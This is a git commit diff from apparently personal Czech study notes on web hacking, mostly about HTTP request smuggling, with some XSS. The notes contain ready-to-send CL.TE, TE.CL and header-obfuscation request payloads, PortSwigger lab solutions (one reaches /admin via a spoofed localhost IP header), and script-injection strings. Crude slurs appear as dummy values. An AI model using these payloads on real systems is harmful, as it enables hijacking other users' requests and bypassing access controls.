Skip to content

Commit 09818a4

Browse files
committed
Quartz sync: Feb 24, 2026, 7:59 PM
1 parent 3c3f232 commit 09818a4

File tree

44 files changed

+1225
-114
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

44 files changed

+1225
-114
lines changed
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
---
2+
date: 2026-02-18T21:33
3+
cssclasses:
4+
tags:
5+
- hacking
6+
- analysis
7+
---
8+
9+
## IP
10+
https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting

content/Hacking/Analýzy/Četba.md

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
---
2+
tags:
3+
- cetba
4+
zdroj:
5+
autor:
6+
zapsane: false
7+
---
8+
# Autor
9+
10+
## Život
11+
12+
## Další tvorba
13+
14+
# Literárně historický kontext
15+
16+
# Rozbor díla
17+
18+
# Hlavní Postavy
19+
20+
# Děj
21+
22+
# Další info

content/Hacking/metody/HTTP Request Smuggling.md

Lines changed: 180 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,5 +11,184 @@ cssclasses:
1111
- http requesty mohou definovat velikost pomocí `Content-Lenght` či pomocí `Transfer-Encoding`
1212
- zneužíváme rozlišnosti v handlování těchto dvou headerů na frontendu a backendu
1313

14+
- můžeme přesvědčit backend, že toho má přijít více pokud je na tohle vulnerable. tím backend čeká na další request s dodatečným body
1415

15-
[^1]: https://portswigger.net/web-security/request-smuggling
16+
## Identifikace vulnerability
17+
- CL.TE = frontend preferuje/pouze používá`Content-Lenght` a backend preferuje/přijímá pouze `Transfer-Encoding`
18+
- mezi hlavičkou a tělem HTTP requestu musí být řádek (třeba 2 hodiny researche tady xd)
19+
- trailing v hostu `/` mi dělá neplechu, takže ho tam nedávej :D
20+
- (To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.)
21+
### CL.TE vuln - timing
22+
- frontend pošle kompletní zprávu, která má 4 bity, ale backend čeká na ukončující `0` na t-e chunked
23+
- pokud je site vulnerable bude server timeout po několika sekundách
24+
```
25+
POST / HTTP/1.1
26+
Host: vulnerable-website.com
27+
Content-Type: application/x-www-form-urlencoded
28+
Transfer-Encoding: chunked
29+
Content-Length: 4
30+
31+
1
32+
A
33+
X
34+
```
35+
36+
### TE.CL vuln
37+
- FE odešle pouze část po 0, BE čeká na zbytek bitů do 6
38+
- tohle potenciálně zaznamenají ostatní uživatelé, je lepší nejdřív zkoušet variantu CL.TE
39+
- pokud to vrátí okay, backend taky preferuje TE
40+
```
41+
POST / HTTP/1.1
42+
Host: vulnerable-website.com
43+
Transfer-Encoding: chunked
44+
Content-Length: 6
45+
46+
0
47+
48+
X
49+
```
50+
51+
- pokud frontend preferuje TE, vrátí invalid request
52+
```
53+
POST / HTTP/1.1
54+
Host: vulnerable-website.com
55+
Content-Type: application/x-www-form-urlencoded
56+
Content-Lenght: 6
57+
Transfer-Encoding: chunked
58+
Content-Length: 11
59+
60+
3
61+
abc
62+
X
63+
64+
```
65+
### TE obfuscation
66+
- trickneme backend, aby používal CL nějakým dojebem TE headeru
67+
- pokud je frontend lenientnější, pošle tohle v pohodě na backend s tím, že to je chill TE chunked, ale backend se z druhého TE podělá a radši použije CL, který ho donutí timeoutnout
68+
- pokud je tohle úspěšné, dá se exploitnout stejně jako TE.CL útok
69+
```
70+
POST / HTTP/1.1
71+
Host: 0a2500e804ab84f4808ef37100c400a0.web-security-academy.net
72+
Content-Type: application/x-www-form-urlencoded
73+
Transfer-Encoding: chunked
74+
Transfer-Encoding: niga
75+
Content-Lenght: 6
76+
77+
0
78+
79+
X
80+
```
81+
## Zneužití
82+
### CL.TE
83+
- tohle přepíše první řádek následujícího requestu (klidně od jiného uživatele) na `GET /404 HTTP/1.1`, ať uživatel requestoval jakoukoliv stránku
84+
```
85+
POST /search HTTP/1.1
86+
Host: vulnerable-website.com
87+
Content-Type: application/x-www-form-urlencoded
88+
Content-Length: 49
89+
Transfer-Encoding: chunked
90+
91+
e
92+
q=smuggling&x=
93+
0
94+
95+
GET /404 HTTP/1.1
96+
Foo: x
97+
```
98+
- modifikovaný request victima:
99+
```
100+
GET /404 HTTP/1.1
101+
Foo: xPOST /search HTTP/1.1
102+
Host: vulnerable-website.com
103+
Content-Type: application/x-www-form-urlencoded
104+
Content-Length: 11
105+
q=smuggling
106+
```
107+
#### PortSwigger lab payload
108+
- X-bordel je obfuscated X-forwarded-host header, který jsme museli zjistit. je důležitý aby ten druhý request měl content length o 1 menší větší než body
109+
```
110+
POST / HTTP/1.1
111+
Host: 0a560097034f33c784f768df009a00fa.web-security-academy.net
112+
Content-Type: application/x-www-form-urlencoded
113+
Content-Length: 123
114+
Transfer-Encoding: chunked
115+
116+
0
117+
118+
GET /admin HTTP/1.1
119+
Content-Type: application/x-www-form-urlencoded
120+
Content-Length: 3
121+
X-yiLQPN-Ip: 127.0.0.1
122+
123+
ab
124+
```
125+
126+
### TE.CL
127+
- za poslední 0 je nutné přidat `\r\n\r\n`
128+
- to `7c` musí matchovat v bytech body, co jde za ním
129+
- v burpsuite stačí označit payload od smuggled GET až po konec payloadu (před 0), vynechat `\r\n` na posledním řádku
130+
```
131+
POST /search HTTP/1.1
132+
Host: vulnerable-website.com
133+
Content-Type: application/x-www-form-urlencoded
134+
Content-Length: 4
135+
Transfer-Encoding: chunked
136+
137+
7b
138+
GET /404 HTTP/1.1
139+
Host: vulnerable-website.com
140+
Content-Type: application/x-www-form-urlencoded
141+
Content-Length: 144
142+
143+
x=
144+
0
145+
146+
147+
```
148+
#### PortSwigger lab payload
149+
- goal: redirectnout příští normální request na /404
150+
- request se vrací jako normální GET
151+
```
152+
POST / HTTP/1.1
153+
Host: 0aba004e04cab56a802367aa008600c4.web-security-academy.net
154+
Content-Type: application/x-www-form-urlencoded
155+
Content-Length: 4
156+
Transfer-Encoding: chunked
157+
158+
9e
159+
GET /404 HTTP/1.1
160+
Host: 0aba004e04cab56a802367aa008600c4.web-security-academy.net
161+
Content-Type: application/x-www-form-urlencoded
162+
Content-Length: 144
163+
164+
x=
165+
0
166+
167+
168+
```
169+
## Methodology
170+
### Nastavení Burpu
171+
- downgrade HTTP protocol na HTTP/1.1
172+
- v request attributes
173+
- nastavit metodu POST
174+
- update Content-length vypnuto
175+
- turn on non printable characters
176+
- ikona \n nad textem
177+
- sanity check - zkontrolovat, že normální request funguje
178+
### Detect
179+
- [[HTTP Request Smuggling#CL.TE vuln - timing|CL.TE]] - exploit
180+
- response (backend) - CL.CL
181+
- reject (frontend) - TE.CL / TE.TE
182+
- tohle může být taky timeout, ale je rozdílný od toho backendového
183+
- timeout (backend) - CL.TE
184+
- [[HTTP Request Smuggling#TE.CL vuln|TE.CL]] - exploit
185+
- response (backend)
186+
- CL.CL
187+
- TE.TE
188+
- timeout (frontend) - TE.CL / TE.TE
189+
- socket poison (backend) - CL.TE
190+
191+
192+
---
193+
https://portswigger.net/web-security/request-smuggling
194+
labs: https://portswigger.net/web-security/all-labs#http-request-smuggling

content/Hacking/metody/XSS.md

Lines changed: 25 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,15 +2,36 @@
22
date: 2026-01-27T20:42
33
cssclasses:
44
---
5-
`<script>alert()</script>`
5+
[Cross-Site Scripting (XSS) Cheat Sheet - 2026 Edition | Web Security Academy](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
6+
[What is cross-site scripting (XSS) and how to prevent it? | Web Security Academy](https://portswigger.net/web-security/cross-site-scripting)
7+
8+
---
9+
- umožňuje útočníkovi circumventnout same origin policy a dělat akce, které správně může dělat pouze oběť
10+
- xss může vykonat jakoukoliv akci, kterou může vykonat uživatel, získat veškerá data ke kterým má přístup uživatel
11+
12+
- `alert()` je nejvíce common, ale chrome ho občas blokuje takže je nutné použít `print()`
13+
```
14+
<script>alert()</script>
15+
```
616

717
- způsob, pomocí kterého se html zobrazí zpět na klientu
818
- `<script>` uvnitř kolonky jména, který se spustí
919

1020
- typy
11-
- persistent (stored) & non persistent (reflected)
12-
21+
- persistent (stored) - exploit se načítá z databáze
22+
- non persistent (reflected) - exploit přichází ze současného reqestu
23+
- DOM - klient side
24+
## Reflected
25+
request:
26+
`https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>`
27+
a na stránce:
28+
`<p>Status: <script>/* Bad stuff here... */</script></p>`
29+
## Stored
30+
- to samý jako reflected, ale místo aby se exploit načítal ze současného http requestu tak se načítá z databáze, třeba reviews na stránce, kde uložil exploit útočník
1331
## DOM
32+
- exploit klient side javascriptu
33+
34+
ukázka:
1435
kód:
1536
`html += "<img src='/static/level3/cloud" + num + ".jpg' />";`
1637
payload:
@@ -24,4 +45,4 @@ onload="startTimer('{{ timer }}');"
2445
2546
') &#x22; onmouseover=alert("nig")
2647
27-
```
48+
```
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
---
2+
date: 2026-02-17T13:27
3+
cssclasses:
4+
---

0 commit comments

Comments
 (0)